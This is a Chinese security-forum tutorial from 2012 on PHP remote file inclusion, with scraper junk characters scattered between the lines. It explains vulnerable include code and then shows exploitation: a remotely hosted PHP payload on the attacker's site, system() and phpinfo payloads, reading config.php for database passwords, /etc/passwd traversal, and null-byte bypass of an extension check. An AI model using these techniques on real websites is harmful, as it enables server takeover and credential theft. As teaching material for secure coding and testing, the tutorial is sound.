中国网络渗透测试联盟
标题:
PHP远程包含
[打印本页]
作者:
admin
时间:
2012-9-15 14:06
标题:
PHP远程包含
v- Q- w! D C- B$ f1 H
php远端档包含漏洞基本
7 R2 v+ e% \8 t) ^
这篇文章里我会告诉php远程档包含漏洞的原理,初涉程式师的人必看。
+ J9 x) [3 w9 l1 \
本帖隐藏的内容需要回复才可以浏览
3 W7 T2 n- T- J0 v% k
首先的问题是,什么才是”远程档包含漏洞“?简要的回答是伺服器通过php的任意档包含过滤不严,从而去执行一个恶意档,这是个程式师过滤上的问题,请记住,所有的cgi程式都有这样的bug。
' J7 Q F0 n9 |% w* v% i9 \
1.找出bug:
; o: D ~9 x3 X% s
为了发现目标,我们首先要知道包含两个字的含义,在所有语言里(大多数)都有这种方法包含任意的档。在php里,我们使用include()函数,它的工作流程:
/ o. L4 T, D' X5 u# `1 ~
如果你在Main.php里包含include1.php,我将这样写include("include1.php").不是很科学,但你要知道其中的道理。
6 ^+ @% M- ?# O
我们先看这个,当用户输入通过后就包含档,也就是
* k3 g& {+ N+ M6 ]
if ($_GET) {
: N4 E+ o' y" F) k- |$ A; l; r
include $_GET;
0 _2 D+ p: `% l6 h6 I( S4 G2 K# E8 P
} else {
$ c" y# {5 ?/ I/ W% c
include "home.php";
1 r( K" ]# ?1 o Q
}
$ [: M2 q* r Z9 b @: J
这种结构在动态网站里是常见的,问题是它允许这样
http://www.target.com
/explame.php?page=main.php或者
http://www.target.com/explame.php?
page=downloads.php来查看。无论如何,如果你的程式里有这样的bug也很悲哀了,只能怪你,尽管只是一句过滤的问题,但就是这一句过滤就有了Script hacker.在zone-h.org的调查里,档包含的攻击率占到9.4%,足够我们引起重视,而且它也不是一两天的问题,几年前就有了,但到了今天,一批一批程式师依旧走老路重走,所以就有了这篇文章,在2004年写这样的文章已经老掉牙,但我还是要写,毕竟牢骚能让人收益的时候就不叫牢骚了。
3 A V% m6 E- j- S" f( s1 Y8 p# w
2.测试
8 v( n0 \. S# c( i
这里有个远端档包含的例子,目的只有一个,为了你的程式安全,我们来看具体的
, L$ x# P' R6 [! T& a) a
http://www.target.com/explame.php?page=zizzy
) l+ M$ d$ \7 [2 x
Warning: main(zizzy): failed to open stream: No such file or directory in /var/www/htdocs/index.php on line 3
& e; t0 u" [: E/ r X9 m1 k
Warning: main(): Failed opening 'zizzy' for inclusion (include_path='.:/usr/local/lib/php') in /var/www/htdocs/index.php on line 3
# s$ L) E. j8 s( O9 S6 @* t& J
php输出的这些错误资讯告诉我们,程式去包含档/var/www/htdocs/zizzy,但没找到,看见了吧,No such file or directory没这样的档,现在理解了吧。
# _6 t3 s6 y3 B
3.利用
; X- a. _" K9 N/ U) f I! }
php确实很好,可以远端调用档,那我创建一个yeah.txt,放在我的站上
http://www.mysite.com/yeah.txt.
内容这样
( u+ X+ T* y' p/ {" Q
<?
9 X7 u) ]. x7 j+ b. c6 Z
echo "Wow,test!";
5 w' ^9 M+ [4 ]$ i, l. j+ m7 }) h" l
?>
7 g9 n$ ]1 E8 {+ l- _
那么
http://www.target.com/explame.php?pa...e.com/yeah.txt
. N( c, d4 ]. o/ E& A
OK,回显Wow,test!,这样就执行了。读取config.php也不难吧,里面放了mysql密码啊。把yeah.txt写成<? phpinfo; ?>看看,写成system()去试试,有什么感想,在过分点,这样提交page=../../../../.. /../../etc/passwd。知道什么叫真正的包含了吧。
4 W% r! o, E( M) @. H( @
4.另一种
P4 M" `, T) d' N! _8 F Y
有时程式师换种写法,写成这样,限制了包含范围
. K& n) V2 J, C% q' R8 }$ r4 t
if ($_GET) {
# X. s5 q6 K- b3 K& Q9 H/ `% H
include "$_GET.php";
9 X8 W/ b8 q- c# F3 ^8 v4 P! m
} else {
( b1 w! w) C8 `- U1 r
include "home.php";
; a* w2 h: Q$ ^; W2 ~
}
: M0 J! Y# G* A! C' W- M
我们提交
http://www.target.com/explame.php?pa...e.com/yeah.txt
/ ]1 x0 D8 D! V' _9 w- r
Warning: main(
http://www.mysite.com/yeah.txt.php
): failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found in /var/www/htdocs/explame.php on line 3
- z* _8 X" a, E- G$ ] o6 H4 Y
Warning: main(): Failed opening 'http://www.mysite.com/yeah.txt.php' for inclusion (include_path='.:/usr/local/lib/php') in /var/www/htdocs /explame.php on line 3
3 M6 S# i8 {# U$ d' O8 h
包含失败了,限制了尾码名为php,那mysite.com的yeah.txt改为yeah.php,ok,照样执行了
% Z# _3 h4 h! n7 r/ r6 H
那passwd怎么办
& ^& Z3 ~4 D. U! Z8 m
Warning: main(../../../../../../../etc/passwd.php): failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found in /var /www/htdocs/explame.php on line 3
6 P6 I0 k4 @# J" x$ B% D
Warning: main(): Failed opening '../../../../../../../etc/passwd.php' for inclusion (include_path='.:/usr/local/lib /php') in /var/www/htdocs/explame.php on line 3
- e; N' n: Y. G M/ Z! ?9 p0 j9 M T
在这里使用个NUL字元,也就是%00来跳过检测
9 X4 f2 `& p3 o4 l( d; L
http://www.target.com/explame.php?pa.../etc/passwd%00
! n' C3 v2 j" I5 f2 }
欢迎光临 中国网络渗透测试联盟 (https://www.cobjon.com/)
Powered by Discuz! X3.2